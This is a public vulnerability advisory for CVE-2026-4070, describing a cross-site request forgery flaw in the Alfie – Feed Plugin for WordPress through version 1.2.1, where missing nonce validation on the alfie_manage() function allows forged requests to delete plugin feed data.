CVE-2026-4070

Description

The Alfie – Feed Plugin plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2.1. This is due to missing nonce validation on the alfie_manage() function which handles feed deletion via the 'delete' GET parameter. This makes it possible for unauthenticated attackers to delete arbitrary plugin feed data (from alfie_colindex, alfie_producten, alfie_reactions, and alfie_searchproduct tables) via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
